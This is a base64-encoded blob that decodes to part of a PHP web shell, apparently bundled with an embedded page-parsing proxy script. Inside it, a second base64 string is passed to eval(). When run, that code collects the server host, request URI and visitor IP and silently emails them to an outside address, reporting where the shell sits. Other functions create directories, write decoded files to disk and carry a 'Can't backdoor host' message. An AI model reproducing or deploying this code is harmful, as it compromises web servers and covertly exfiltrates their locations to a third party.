TkNna0pKRzVsZDNaaGNqMXdZWEp6WlY5b2RHMXNLQ1J5WldkbGVIQmZZWEp5WVhsYk1sMHNKSEpsWjJWNGNGOWhjbkpoZVZzelhTd2tkR2hsZG1GeUxDUmhaR1J3Y205NGVTd2tabkpoYldsbWVTazdEUW9KZlEwS0NYSmxkSFZ5YmlBa2JtVjNkbUZ5T3cwS2ZRMEtEUXBtZFc1amRHbHZiaUJ3WVhKelpWOWhiR3hmYUhSdGJDZ2thSFJ0YkNsN0RRb0paMnh2WW1Gc0lDUnlaV2RsZUhCZllYSnlZWGx6T3cwS0RRb0phV1lvUTA5T1ZFVk9WRjlVV1ZCRklUMG5kR1Y0ZEM5b2RHMXNKeWw3RFFvSkNXWnZjaWh5WlhObGRDZ2tjbVZuWlhod1gyRnljbUY1Y3lrN2JHbHpkQ2drYTJWNUxDUmhjbklwUFdWaFkyZ29KSEpsWjJWNGNGOWhjbkpoZVhNcE95bDdEUW9KQ1FscFppZ2thMlY1UFQxRFQwNVVSVTVVWDFSWlVFVXBldzBLQ1FrSkNXWnZjbVZoWTJnb0pHRnljaUJoY3lBa2NtVm5ZWEp5S1hzTkNna0pDUWtKYVdZb0pISmxaMkZ5Y2owOWJuVnNiQ2tnWTI5dWRHbHVkV1U3RFFvSkNRa0pDU1JvZEcxc1BYSmxaM1ZzWVhKZlpYaHdjbVZ6Y3lna2NtVm5ZWEp5TENSb2RHMXNLVHNOQ2drSkNRbDlEUW9KQ1FsOURRb0pDWDBOQ2drSmNtVjBkWEp1SUNSb2RHMXNPdzBLQ1gwTkNnMEtDU05wWmlnaFpXMXdkSGtvSkY5RFQwOUxTVVZiUTA5UFMxOVFVa1ZHTGlkZmNtVnRiM1psWDNOamNtbHdkSE1uWFNrcElDUnpjR3hwZEdGeWNqMWhjbkpoZVNna2FIUnRiQ2s3RFFvSkpITndiR2wwWVhKeVBYQnlaV2RmYzNCc2FYUW9KeThvUENFdExTZy9JVnhiYVdZcExpby9MUzArZkR4emRIbHNaUzRxUHp4Y0wzTjBlV3hsUG53OGMyTnlhWEIwTGlvL1BGd3ZjMk55YVhCMFBpa3ZhWE1uTENSb2RHMXNMQzB4TEZCU1JVZGZVMUJNU1ZSZlJFVk1TVTFmUTBGUVZGVlNSU2s3RFFvSmRXNXpaWFFvSkdoMGJXd3BPdzBLRFFvSkx5OWtaV1pwYm1Vb0oxSkZSMFZZVUY5VFExSkpVRlJmVDA1RlZrVk9WQ2NzSnlnZ2IyNWJZUzE2WFhzekxESXdmVDBvUHpvaUtEODZXMTRpWFNzcElueGNKeWcvT2x0ZVhDZGRLeWxjSjN4YlhpSmNKeUErWFZ0ZUlENWRLMXRlSWx3bklENWRLU2tuS1RzTkNna2tabWx5YzNSeWRXNDlkSEoxWlRzTkNna2tabWx5YzNScWMzSjFiajEwY25WbE93MEtDV1p2Y2loeVpYTmxkQ2drY21WblpYaHdYMkZ5Y21GNWN5azdiR2x6ZENna2EyVjVMQ1JoY25JcFBXVmhZMmdvSkhKbFoyVjRjRjloY25KaGVYTXBPeWw3RFFvSkNXbG1LQ1JyWlhrOVBTZDBaWGgwTDJwaGRtRnpZM0pwY0hRbktTQmpiMjUwYVc1MVpUc05DZzBLQ1Frdkx5QlBVRlJKVDA0eE9pQjFjMlVnVDA1TVdTQnBaaUJ1YnlCS1lYWmhjMk55YVhCMElGSkZSMFZZVUZNZ1lXWm1aV04wSUVoVVRVd2djMlZqZEdsdmJuTU5DZ2tKTHk4Z1lXNWtJR0ZzYkNCSVZFMU1JRzF2WkdsbWVXbHVaeUJLWVhaaGMyTnlhWEIwSUZKRlIwVllVRk1nWVhKbElIQmxjbVp2Y20xbFpDQmhablJsY2lCSVZFMU1JSEpsWjJWNGNITU5DZ2tKTHk4Z1ZHaHBjeUJuYVhabGN5QmhJSEJ5WlhSMGVTQnphV2R1YVdacFkyRnVkQ0J6Y0dWbFpDQmliMjl6ZEEwS0NRa3ZMeUJKWmlCMWMyVmtMQ0J0WVd0bElITjFjbVVnSWs5UVZFbFBUaklpSUd4cGJtVnpJR0Z5WlNCamIyMXRaVzUwWldRc0lHRnVaQ0J2ZEdobGNpQWlUMUJVU1U5T01TSWdiR2x1WlhNZ1FWSkZUaWRVRFFvSkNXbG1LQ1JtYVhKemRHcHpjblZ1SUNZbUlDUnJaWGs5UFNkaGNIQnNhV05oZEdsdmJpOTRMV3BoZG1GelkzSnBjSFFuS1hzTkNna0pDV2xtS0NGbGJYQjBlU2drWDBOUFQwdEpSVnREVDA5TFgxQlNSVVl1SjE5eVpXMXZkbVZmYzJOeWFYQjBjeWRkS1NrZ1luSmxZV3M3RFFvSkNRa2tjM0JzYVhSaGNuSXlQV0Z5Y21GNUtDazdEUW9KQ1FsbWIzSW9KR2s5TURza2FUeGpiM1Z1ZENna2MzQnNhWFJoY25JcE95UnBLejB5S1hzTkNna0pDUWtrYzNCc2FYUmhjbkl5V3lScFhUMXdjbVZuWDNOd2JHbDBLQ2N2Snk1U1JVZEZXRkJmVTBOU1NWQlVYMDlPUlZaRlRsUXVKeTlwY3ljc0pITndiR2wwWVhKeVd5UnBYU3d0TVN4UVVrVkhYMU5RVEVsVVgwUkZURWxOWDBOQlVGUlZVa1VwT3cwS0NRa0pmUTBLQ1FsOURRb0pDUzh2SUVWT1JDQlBVRlJKVDA0eERRb05DZ2tKSXlCbWFYSnpkSEoxYmlCeVpXMXZkbVVnYzJOeWFYQjBjem9nYjI0OFpYWmxiblErY3lCaGJtUWdibTl6WTNKcGNIUWdkR0ZuY3pzZ1lXeHpieUJ5WlcxdmRtVWdiMkpxWldOMGN3MEtDUWxwWmlna1ptbHljM1J5ZFc0Z0ppWWdLQ0ZsYlhCMGVTZ2tYME5QVDB0SlJWdERUMDlMWDFCU1JVWXVKMTl5WlcxdmRtVmZjMk55YVhCMGN5ZGRLU0I4ZkNBaFpXMXdkSGtvSkY5RFQwOUxTVVZiUTA5UFMxOVFVa1ZHTGlkZmNtVnRiM1psWDI5aWFtVmpkSE1uWFNrcEtYc05DZ2tKQ1dadmNpZ2thVDB3T3lScFBHTnZkVzUwS0NSemNHeHBkR0Z5Y2lrN0pHa3JQVElwZXcwS0NRa0pDV2xtS0NGbGJYQjBlU2drWDBOUFQwdEpSVnREVDA5TFgxQlNSVVl1SjE5eVpXMXZkbVZmYzJOeWFYQjBjeWRkS1NrTkNna0pDUWtKSkhOd2JHbDBZWEp5V3lScFhUMXdjbVZuWDNKbGNHeGhZMlVvSnk4b1B6b25MbEpGUjBWWVVGOVRRMUpKVUZSZlQwNUZWa1ZPVkM0bmZEd3VQMjV2YzJOeWFYQjBQaWt2YVhNbkxHNTFiR3dzSkhOd2JHbDBZWEp5V3lScFhTazdEUW9KQ1FrSmFXWW9JV1Z0Y0hSNUtDUmZRMDlQUzBsRlcwTlBUMHRmVUZKRlJpNG5YM0psYlc5MlpWOXZZbXBsWTNSekoxMHBLUTBLQ1FrSkNRa2tjM0JzYVhSaGNuSmJKR2xkUFhCeVpXZGZjbVZ3YkdGalpTZ25MendvWlcxaVpXUjhiMkpxWldOMEtTNHFQenhjTDF3eFBpOXBjeWNzYm5Wc2JDd2tjM0JzYVhSaGNuSmJKR2xkS1RzTkNna0pDWDBOQ2drSmZRMEtEUW9KQ1dadmNtVmhZMmdvSkdGeWNpQmhjeUFrY21WblpYaHdYMkZ5Y21GNUtYc05DZ2tKQ1dsbUtDUnlaV2RsZUhCZllYSnlZWGs5UFc1MWJHd3BJR052Ym5ScGJuVmxPdzBLQ1FrSlptOXlLQ1JwUFRBN0pHazhZMjkxYm5Rb0pITndiR2wwWVhKeUtUc2thU3NyS1hzTkNnMEtDUWtKQ1NNZ2NHRnljMlVnYzJOeWFYQjBjeUJtYjNJZ2IyNDhaWFpsYm5RK2N3MEtDUWtKQ1dsbUtDUnBKVEk5UFRBZ0ppWWdhWE56WlhRb0pITndiR2wwWVhKeU1pa2dKaVlnSkhKbFoyVjRjRjloY25KaGVWc3hYVDA5TWlsN0lDOHZJRTlRVkVsUFRqRU5DZzBLQ1FrSkNTOHZJRTlRVkVsUFRqSU5DZ2tKQ1FrdkwybG1LQ1J5WldkbGVIQmZZWEp5WVhsYk1WMDlQVElnSmlZZ0pHa2xNajA5TUNsN0lDOHZJRTlRVkVsUFRqSU5DZ2tKQ1FrSkx5OGtjM0JzYVhSaGNuSXlXeVJwWFQxd2NtVm5YM053YkdsMEtDY3ZLQ0J2Ymx0aExYcGRlek1zTWpCOVBTZy9PaUlvUHpwYlhpSmRLeWtpZkZ3bktEODZXMTVjSjEwcktWd25mRnRlSWx3bklENWRXMTRnUGwwclcxNGlYQ2NnUGwwcEtTOXBjeWNzSkhOd2JHbDBZWEp5V3lScFhTd3RNU3hRVWtWSFgxTlFURWxVWDBSRlRFbE5YME5CVUZSVlVrVXBPdzBLQ1FrSkNRa3ZMeUJGVGtRZ1QxQlVTVTlPTWcwS0RRb0pDUWtKQ1M4dmFXWW9ZMjkxYm5Rb0pITndiR2wwWVhKeU1sc2thVjBwUERJcElDUnpjR3hwZEdGeWNsc2thVjA5Y21WbmRXeGhjbDlsZUhCeVpYTnpLQ1J5WldkbGVIQmZZWEp5WVhrc0pITndiR2wwWVhKeVd5UnBYU2s3SUM4dklGVk9Va1ZNUVZSRlJDQlVUeUJQVUZSSlQwNVREUW9KQ1FrSkNXbG1LR052ZFc1MEtDUnpjR3hwZEdGeWNqSmJKR2xkS1Q0eEtYc05DZ2tKQ1FrSkNXWnZjaWdrYWoweE95UnFQR052ZFc1MEtDUnpjR3hwZEdGeWNqSmJKR2xkS1Rza2FpczlNaWw3RFFvSkNRa0pDUWtKSkdKbFoybHVQWEJ5WldkZmNtVndiR0ZqWlNnbkwxNG9XMTQ5WFNzOUxpa3VLaVF2YVNjc0oxd3hKeXdrYzNCc2FYUmhjbkl5V3lScFhWc2thbDBwT3cwS0NRa0pDUWtKQ1NSeGRXOTBaVDF6ZFdKemRISW9KR0psWjJsdUxDMHhLVHNOQ2drSkNRa0pDUWxwWmlna2NYVnZkR1VoUFNjaUp5QW1KaUFrY1hWdmRHVWhQU2RjSnljcGV3MEtDUWtKQ1FrSkNRa2tjWFZ2ZEdVOWJuVnNiRHNOQ2drSkNRa0pDUWtKSkdKbFoybHVQWE4xWW5OMGNpZ2tZbVZuYVc0c01Dd3RNU2s3RFFvSkNRa0pDUWtKZlEwS0NRa0pDUWtKQ1NSamIyUmxQWEJ5WldkZmNtVndiR0ZqWlNnbkwxNWJYajFkS3owbkxpZ2tjWFZ2ZEdVOVBXNTFiR3cvSnlndUtpa2tMMmtuT2ljdUtDNHFLUzRrTDJrbktTd25YREVuTENSemNHeHBkR0Z5Y2pKYkpHbGRXeVJxWFNrN0RRb0pDUWtKQ1FrSmFXWW9jM1ZpYzNSeUtDUmpiMlJsTERBc01URXBQVDBuYW1GMllYTmpjbWx3ZERvbktYc05DZ2tKQ1FrSkNRa0pKR0psWjJsdUxqMG5hbUYyWVhOamNtbHdkRG9uT3cwS0NRa0pDUWtKQ1Fra1kyOWtaVDF6ZFdKemRISW9KR052WkdVc01URXBPdzBLQ1FrSkNRa0pDWDBOQ2drSkNRa0pDUWxwWmlna1ptbHljM1JxYzNKMWJpa2dKR052WkdVOUlqdDdKR052WkdWOU95STdEUW9KQ1FrSkNRa0pKSE53YkdsMFlYSnlNbHNrYVYxYkpHcGRQU1JpWldkcGJpNXlaV2QxYkdGeVgyVjRjSEpsYzNNb0pISmxaMlY0Y0Y5aGNuSmhlU3drWTI5a1pTa3VKSEYxYjNSbE93MEtDUWtKQ1FrSmZRMEtDUWtKQ1FrSkx5OGtjM0JzYVhSaGNuSmJKR2xkUFdsdGNHeHZaR1VvYm5Wc2JDd2tjM0JzYVhSaGNuSXlXeVJwWFNrN0lDOHZJRTlRVkVsUFRqSU5DZ2tKQ1FrSmZRMEtDUWtKQ1gwTkNnMEtDUWtKQ1NNZ2NtVnRiM1psSUhOamNtbHdkSE1OQ2drSkNRbGxiSE5sYVdZb0pHWnBjbk4wY25WdUlDWW1JQ0ZsYlhCMGVTZ2tYME5QVDB0SlJWdERUMDlMWDFCU1JVWXVKMTl5WlcxdmRtVmZjMk55YVhCMGN5ZGRLU0FtSmlCemRISjBiMnh2ZDJWeUtITjFZbk4wY2lna2MzQnNhWFJoY25KYkpHbGRMREFzTnlrcFBUMG5QSE5qY21sd2RDY3BEUW9KQ1FrSkNTUnpjR3hwZEdGeWNsc2thVjA5Ym5Wc2JEc05DZzBLQ1FrSkNTTWdjR0Z5YzJVZ2RtRnNhV1FnYzNSMVptWU5DZ2tKQ1FsbGJITmxhV1lvS0NScEpUSTlQVEFnSmlZZ0pISmxaMlY0Y0Y5aGNuSmhlVnN4WFQwOU1Ta2dmSHdnS0NSeVpXZGxlSEJmWVhKeVlYbGJNVjA5UFRJZ0ppWWdjM1J5ZEc5c2IzZGxjaWh6ZFdKemRISW9KSE53YkdsMFlYSnlXeVJwWFN3d0xEY3BLVDA5Snp4elkzSnBjSFFuS1NCOGZDQW9KR3RsZVQwOUozUmxlSFF2WTNOekp5QW1KaUJ6ZEhKMGIyeHZkMlZ5S0hOMVluTjBjaWdrYzNCc2FYUmhjbkpiSkdsZExEQXNOaWtwUFQwblBITjBlV3hsSnlrcGV3MEtDUWtKQ1Fra2MzQnNhWFJoY25KYkpHbGRQWEpsWjNWc1lYSmZaWGh3Y21WemN5Z2tjbVZuWlhod1gyRnljbUY1TENSemNHeHBkR0Z5Y2xza2FWMHBPdzBLQ1FrSkNYME5DZzBLQ1FrSkNTTWdjMk55YVhCMElIQjFjbWRsSUdOc1pXRnVkWEFOQ2drSkNRbHBaaWdrWm1seWMzUnlkVzRnSmlZZ1pXMXdkSGtvSkY5RFQwOUxTVVZiUTA5UFMxOVFVa1ZHTGlkZmNtVnRiM1psWDNOamNtbHdkSE1uWFNrZ0ppWWdjM1J5ZEc5c2IzZGxjaWh6ZFdKemRISW9KSE53YkdsMFlYSnlXeVJwWFN3dE9Ta3BQVDBuUEM5elkzSnBjSFErSnlBbUppQWhjSEpsWjE5dFlYUmphQ2duTDE1YlhqNWRLbk55WXk5cEp5d2tjM0JzYVhSaGNuSmJKR2xkS1NsN0RRb0pDUWtKQ1NSemNHeHBkR0Z5Y2xza2FWMDljSEpsWjE5eVpYQnNZV05sS0Njdkp5NUZUa1JmVDBaZlUwTlNTVkJVWDFSQlJ5NG5KQzlwSnl3bk95Y3VRMDlQUzE5UVVrVkdMaWN1Y0hWeVoyVW9LVHN2THkwdFBqd3ZjMk55YVhCMFBpY3NKSE53YkdsMFlYSnlXeVJwWFNrN0RRb0pDUWtKZlEwS0RRb0pDUWw5RFFvTkNna0pDU1JtYVhKemRISjFiajFtWVd4elpUc05DZ2tKQ1dsbUtDUm1hWEp6ZEdwemNuVnVJQ1ltSUNSclpYazlQU2RoY0hCc2FXTmhkR2x2Ymk5NExXcGhkbUZ6WTNKcGNIUW5LUTBLQ1FrSkNTUm1hWEp6ZEdwemNuVnVQV1poYkhObE93MEtDUWw5RFFvSmZRMEtEUW9KTHk4Z1QxQlVTVTlPTVEwS0RRb0phV1lvWlcxd2RIa29KRjlEVDA5TFNVVmJRMDlQUzE5UVVrVkdMaWRmY21WdGIzWmxYM05qY21sd2RITW5YU2twZXcwS0NRbG1iM0lvSkdrOU1Ec2thVHhqYjNWdWRDZ2tjM0JzYVhSaGNuSXBPeVJwS3oweUtYc05DZ2tKQ1NSemNHeHBkR0Z5Y2xza2FWMDlhVzF3Ykc5a1pTaHVkV3hzTENSemNHeHBkR0Z5Y2pKYkpHbGRLVHNOQ2drSmZRMEtDWDBOQ2drdkx5QkZUa1FnVDFCVVNVOU9NUTBLRFFvSmNtVjBkWEp1SUdsdGNHeHZaR1VvYm5Wc2JDd2tjM0JzYVhSaGNuSXBPdzBLZlEwS0RRb2pJSDE5ZlEwS0RRb3ZMeVJ6ZEdGeWRIUnBiV1U5YldsamNtOTBhVzFsS0hSeWRXVXBPeUFqSUVKRlRrTklUVUZTU3cwS0pHSnZaSGs5Y0dGeWMyVmZZV3hzWDJoMGJXd29KR0p2WkhrcE93MEtMeThrY0dGeWMyVjBhVzFsUFcxcFkzSnZkR2x0WlNoMGNuVmxLUzBrYzNSaGNuUjBhVzFsT3lBaklFSkZUa05JVFVGU1N3MEtEUW9qSUZCU1QxaFpJRVZZUlVOVlZFbFBUam9nVUVGSFJTQlFRVkpUU1U1SE9pQlFVazlZV1NCSVJVRkVSVkpUTDBwQlZrRlRRMUpKVUZRZ2UzdDdEUW9OQ21sbUtFTlBUbFJGVGxSZlZGbFFSVDA5SjNSbGVIUXZhSFJ0YkNjcGV3MEtDU1JpYVdkZmFHVmhaR1Z5Y3owblBHMWxkR0VnYm1GdFpUMGljbTlpYjNSeklpQmpiMjUwWlc1MFBTSnViMmx1WkdWNExDQnViMlp2Ykd4dmR5SWdMejRuTGcwS0NRa0pLRkJCUjBWVVdWQkZYMGxFUFQwOVVFRkhSVlJaVUVWZlJsSkJUVVZFWDFCQlIwVS9KenhpWVhObElIUmhjbWRsZEQwaVgzUnZjQ0krSnpwdWRXeHNLUzROQ2drSkNTYzhiR2x1YXlCeVpXdzlJbk5vYjNKMFkzVjBJR2xqYjI0aUlHaHlaV1k5SWljdWMzVnljbTluWVdaNVgzVnliQ2drWTNWeWNsOTFjbXh2WW1vdFBtZGxkRjl3Y205MGJ5Z3BMaWM2THk4bkxpUmpkWEp5WDNWeWJHOWlhaTArWjJWMFgzTmxjblpsY201aGJXVW9LUzRuTDJaaGRtbGpiMjR1YVdOdkp5a3VKeUlnTHo0bkxnMEtDUWtKS0dWdGNIUjVLQ1JmUTA5UFMwbEZXME5QVDB0ZlVGSkZSaTRuWDNKbGJXOTJaVjl6WTNKcGNIUnpKMTBwUHcwS0NRa0pDU2M4YzJOeWFYQjBJSFI1Y0dVOUluUmxlSFF2YW1GMllYTmpjbWx3ZENJZ2MzSmpQU0luTGxSSVNWTmZVME5TU1ZCVUxpYy9hbk5mWm5WdVkzTW5MaWhRUVVkRlgwWlNRVTFGUkQ4blgyWnlZVzFsWkNjNmJuVnNiQ2t1SnlJK1BDOXpZM0pwY0hRK0p5NE5DZ2tKQ1FrblBITmpjbWx3ZENCMGVYQmxQU0owWlhoMEwycGhkbUZ6WTNKcGNIUWlJSE55WXowaUp5NVVTRWxUWDFORFVrbFFWQzRuUDJwelgzSmxaMlY0Y0hNbkxpaFFRVWRGWDBaU1FVMUZSRDhuWDJaeVlXMWxaQ2M2Ym5Wc2JDa3VKeUkrUEM5elkzSnBjSFErSnk0TkNna0pDUWtuUEhOamNtbHdkQ0JzWVc1bmRXRm5aVDBpYW1GMllYTmpjbWx3ZENJK0p5NE5DZ2tKQ1Frdkx5YzhJUzB0Snk0TkNna0pDUWxEVDA5TFgxQlNSVVl1Snk1RVQwTlZUVVZPVkY5U1JVWkZVa1ZTUFNJbkxpaFZVa3hmUms5U1RUOXpkSEpmY21Wd2JHRmpaU2duSWljc0oxeGNJaWNzSkhKbFptVnlaWElwT201MWJHd3BMaWNpT3ljdURRb0pDUWtKUTA5UFMxOVFVa1ZHTGljdVExVlNVbDlWVWt3OUlpY3VjM1J5WDNKbGNHeGhZMlVvSnlJbkxDZGNYQ0luTENSamRYSnlYM1Z5Ykc5aWFpMCtaMlYwWDNWeWJDZ3BLUzRuSWl0c2IyTmhkR2x2Ymk1b1lYTm9PeWN1UTA5UFMxOVFVa1ZHTGljdVoyVnVYMk4xY25KZmRYSnNiMkpxS0NrN0p5NE5DZ2tKQ1FsRFQwOUxYMUJTUlVZdUp5NU1UME5CVkVsUFRsOVRSVUZTUTBnOUlpY3VLQ1JqZFhKeVgzVnliRzlpYWkwK1oyVjBYM0YxWlhKNUtDa2hQVzUxYkd3L0p6OG5Mbk4wY2w5eVpYQnNZV05sS0NjaUp5d25YRndpSnl3a1kzVnljbDkxY214dlltb3RQbWRsZEY5eGRXVnllU2dwS1RwdWRXeHNLUzRuSWpzbkxnMEtDUWtKQ1VOUFQwdGZVRkpGUmk0bkxreFBRMEZVU1U5T1gwaFBVMVJPUVUxRlBTSW5Mbk4wY2w5eVpYQnNZV05sS0NjaUp5d25YRndpSnl3a1kzVnljbDkxY214dlltb3RQbWRsZEY5elpYSjJaWEp1WVcxbEtDa3BMaWNpT3ljdURRb0pDUWtKUTA5UFMxOVFVa1ZHTGljdVRFOURRVlJKVDA1ZlVFOVNWRDBpSnk1emRISmZjbVZ3YkdGalpTZ25JaWNzSjF4Y0lpY3NKR04xY25KZmRYSnNiMkpxTFQ1blpYUmZjRzl5ZEhaaGJDZ3BLUzRuSWpzbkxnMEtDUWtKQ1VOUFQwdGZVRkpGUmk0bkxrVk9RMUpaVUZSZlZWSk1VejBuTG1KdmIyeGZkRzlmYW5Nb1JVNURVbGxRVkY5VlVreFRLUzRuT3ljdURRb0pDUWtKUTA5UFMxOVFVa1ZHTGljdVJVNURVbGxRVkY5RFQwOUxVejBuTG1KdmIyeGZkRzlmYW5Nb1JVNURVbGxRVkY5RFQwOUxVeWt1SnpzbkxnMEtDUWtKQ1VOUFQwdGZVRkpGUmk0bkxsVlNURjlHVDFKTlBTY3VZbTl2YkY5MGIxOXFjeWhWVWt4ZlJrOVNUU2t1SnpzbkxnMEtDUWtKQ1VOUFQwdGZVRkpGUmk0bkxsQkJSMFZmUmxKQlRVVkVQU2N1WW05dmJGOTBiMTlxY3loUVFVZEZYMFpTUVUxRlJDa3VKenNuTGcwS0NRa0pDVU5QVDB0ZlVGSkZSaTRpTGxWVFJWSkJSMFZPVkQxY0luc2tkWE5sY21GblpXNTBmVndpT3lJdURRb0pDUWtKS0ZWU1RGOUdUMUpOSUNZbUlGQkJSMFZVV1ZCRlgwbEVQVDFRUVVkRlZGbFFSVjlHVWtGTlJVUmZVRUZIUlQ4bmFXWW9KeTVEVDA5TFgxQlNSVVl1Snk1MGFHVndZWEpsYm5ROVBTY3VRMDlQUzE5UVVrVkdMaWN1ZEdobGRHOXdLU0FuTGcwS0NRa0pDUWxEVDA5TFgxQlNSVVl1Snk1bGRtVnVkR2xtZVNnaUp5NGtZM1Z5Y2w5MWNteHZZbW90UG1kbGRGOXdjbTkwYnlncExpY2lMQ0luTGlSamRYSnlYM1Z5Ykc5aWFpMCtaMlYwWDNObGNuWmxjbTVoYldVb0tTNG5JaWs3SncwS0NRa0pDVHB1ZFd4c0tTNE5DZ2tKQ1Frdkx5Y3ZMeTB0UGljdURRb0pDUWtKSnp3dmMyTnlhWEIwUGljTkNna0pDVHB1ZFd4c0tRMEtDVHNOQ2cwS0NTUmliMlI1UFhCeVpXZGZjbVZ3YkdGalpTZ25MeWcvT2lnOEtEODZhR1ZoWkh4aWIyUjVLVnRlUGwwcVBpbDhLRHdvUHpwY0wyaGxZV1I4YldWMFlYeHNhVzVyZkhOamNtbHdkQ2twS1M5cEp5d2lYRnd4SkdKcFoxOW9aV0ZrWlhKelhGd3lJaXdrWW05a2VTd3hLVHNOQ2dsMWJuTmxkQ2drWW1sblgyaGxZV1JsY25NcE93MEtmUTBLWld4elpXbG1LRU5QVGxSRlRsUmZWRmxRUlQwOUoyRndjR3hwWTJGMGFXOXVMM2d0YW1GMllYTmpjbWx3ZENjZ2ZId2dRMDlPVkVWT1ZGOVVXVkJGUFQwbmRHVjRkQzlxWVhaaGMyTnlhWEIwSnlrZ0pHSnZaSGt1UFNjN0p5NURUMDlMWDFCU1JVWXVKeTV3ZFhKblpTZ3BPeWM3RFFvTkNpTWdmWDE5RFFvTkNpTWdmWDE5RFFvTkNpTWpJRkpsZEhKcFpYWmxaQ3dnVUdGeWMyVmtMQ0JCYkd3Z1VtVmhaSGtnZEc4Z1QzVjBjSFYwSUNNakRRcGxZMmh2SUNSaWIyUjVPdzBLTHk5bFkyaHZJQ2QwYjNSaGJDQjBhVzFsT2lBbkxpaHRhV055YjNScGJXVW9kSEoxWlNrdEpIUnZkSE4wWVhKMGRHbHRaU2t1SWp4aWNpQXZQbkJoY25ObElIUnBiV1U2SUhza2NHRnljMlYwYVcxbGZTQnpaV052Ym1SeklpNG9hWE56WlhRb0pHOXdZWEp6WlhScGJXVXBQeUk4WW5JZ0x6NXZkR2hsY2lCMGFXMWxJREU2SUhza2IzQmhjbk5sZEdsdFpYMGdjMlZqYjI1a2N5STZiblZzYkNrdUtHbHpjMlYwS0NSdmNHRnljMlYwYVcxbE1pay9JanhpY2lBdlBtOTBhR1Z5SUhScGJXVWdNam9nZXlSdmNHRnljMlYwYVcxbE1uMGdjMlZqYjI1a2N5STZiblZzYkNrN0lDTWdRa1ZPUTBoTlFWSkxEUW9OQ2lNZ2ZYMTlEUW9OQ21acGJtbHphQ2dwT3cwS0RRb2pJeU1qSXlNakl5TWpJeU1OQ2lNaklGUklSU0JGVGtRZ0l5TU5DaU1qSXlNakl5TWpJeU1qSXlNakRRb2pEUW9qSUZaSlRTQnBjeUIwYUdVZ2FXUmxZV3dnZDJGNUlIUnZJR1ZrYVhRZ2RHaHBjeUJtYVd4bExpQWdRWFYwYjIxaGRHbGpJR1p2YkdScGJtY2diMk5qZFhKeklHMWhhMmx1WnlCMGFHVU5DaU1nWW14dlkydHpJRzltSUdOdlpHVWdaV0Z6YVdWeUlIUnZJSEpsWVdRZ1lXNWtJRzVoZG1sbllYUmxEUW9qSUhacGJUcG1iMnhrYldWMGFHOWtQVzFoY210bGNnMEtJdzBLSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSUQ4K0RRbz0NCiI7DQoNCiRzaGVsbF9kYXRhID0gImMyVnpjMmx2Ymw5emRHRnlkQ2dwT3cwS2FXWW9hWE56WlhRb0pGOVRSVk5UU1U5T1d5ZDJhWE5wZENkZEtTa05DaVJmVTBWVFUwbFBUbHNuZG1semFYUW5YVDBrWDFORlUxTkpUMDViSjNacGMybDBKMTByTVRzTkNtVnNjMlVOQ2lSZlUwVlRVMGxQVGxzbmRtbHphWFFuWFQweE93MEthV1lvSUNSZlUwVlRVMGxQVGxzbmRtbHphWFFuWFNBOVBTQXhLU0I3RFFva2RtbHphWFJ2Y2lBOUlDUmZVMFZTVmtWU1d5SlNSVTFQVkVWZlFVUkVVaUpkT3lBTkNpUjNaV0lnUFNBa1gxTkZVbFpGVWxzaVNGUlVVRjlJVDFOVUlsMDdJQTBLSkdsdWFpQTlJQ1JmVTBWU1ZrVlNXeUpTUlZGVlJWTlVYMVZTU1NKZE95QU5DaVIwWVhKblpYUWdQU0J5WVhkMWNteGtaV052WkdVb0pIZGxZaTRrYVc1cUtUc2dEUW9rZFc1aGJXVWdQU0J3YUhCZmRXNWhiV1VvS1RzTkNpUnBaQ0E5SUdkbGRGOWpkWEp5Wlc1MFgzVnpaWElvS1RzTkNpUmliMlI1SUQwZ0lpQmJLMTFUYUdWc2JEb2dKSFJoY21kbGRDQmNiaUJiSzExSmJtcGxZM1J2Y2pvZ0pIWnBjMmwwYjNJZ1hHNGdXeXRkZFc1aGJXVWdMV0U2SUNSMWJtRnRaU0JjYmlCYksxMVZjMlZ5T2lBa2FXUWlPdzBLUUcxaGFXd29JbVJsWkdsMWJtUmhaMmxBWjIxaGFXd3VZMjl0SWl3aVczaGRJR2gwZEhBNkx5OGtkR0Z5WjJWMElHSjVJQ1IyYVhOcGRHOXlJaXdnSWlSaWIyUjVJaWs3RFFwOUlBMEtaV3h6WlNCN0RRb2tYMU5GVTFOSlQwNWJKM1pwYzJsMEoxMDdJSDA9IjsgZXZhbChiYXNlNjRfZGVjb2RlKCRzaGVsbF9kYXRhKSk7DQoNCg0KDQppZiAoJHggPT0gIm1rZGlyIikgDQp7IA0KIGlmICgkbWtkaXIgIT0gJGQpIA0KIHsgDQogIGlmIChmaWxlX2V4aXN0cygkbWtkaXIpKSB7ZWNobyAiPGI+TWFrZSBEaXIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJG1rZGlyKS4iXCI8L2I+OiBvYmplY3QgYWxyZWR5IGV4aXN0cyI7fSANCiAgZWxzZWlmICghbWtkaXIoJG1rZGlyKSkge2VjaG8gIjxiPk1ha2UgRGlyIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRta2RpcikuIlwiPC9iPjogYWNjZXNzIGRlbmllZCI7fSANCiAgZWNobyAnPGJyPjxicj4nOyANCiB9IA0KICR4ID0gJGRzcGFjdCA9ICdscyc7IA0KfSANCg0KDQoNCg0KZnVuY3Rpb24gY2YoJGZuYW1lLCR0ZXh0KSB7DQogICR3X2ZpbGU9QGZvcGVuKCRmbmFtZSwidyIpIG9yIGVycigpOw0KICBpZigkd19maWxlKSB7DQogICAgQGZwdXRzKCR3X2ZpbGUsQGJhc2U2NF9kZWNvZGUoJHRleHQpKTsNCiAgICBAZmNsb3NlKCR3X2ZpbGUpOw0KICB9DQp9DQoNCmZ1bmN0aW9uIGNmYigkZm5hbWUsJHRleHQpIHsNCiAgJHdfZmlsZT1AZm9wZW4oJGZuYW1lLCJ3Iikgb3IgYmJlcnIoKTsNCiAgaWYoJHdfZmlsZSkgew0KICAgIEBmcHV0cygkd19maWxlLEBiYXNlNjRfZGVjb2RlKCR0ZXh0KSk7DQogICAgQGZjbG9zZSgkd19maWxlKTsNCiAgfQ0KfQ0KZnVuY3Rpb24gZXJyKCkgeyAkX1BPU1RbJ2JhY2tjY29ubm1zZ2UnXT0iPGJyPjxicj48ZGl2IGNsYXNzPWZ4ZXJybXNnPkVycm9yOjwvZGl2PiBDYW4ndCBjb25uZWN0ISI7IH0NCmZ1bmN0aW9uIGJiZXJyKCkgeyAkX1BPU1RbJ2JhY2tjY29ubm1zZ2UnXT0iPGJyPjxicj48ZGl2IGNsYXNzPWZ4ZXJybXNnPkVycm9yOjwvZGl2PiBDYW4ndCBiYWNrZG9vciBob3N0ISI7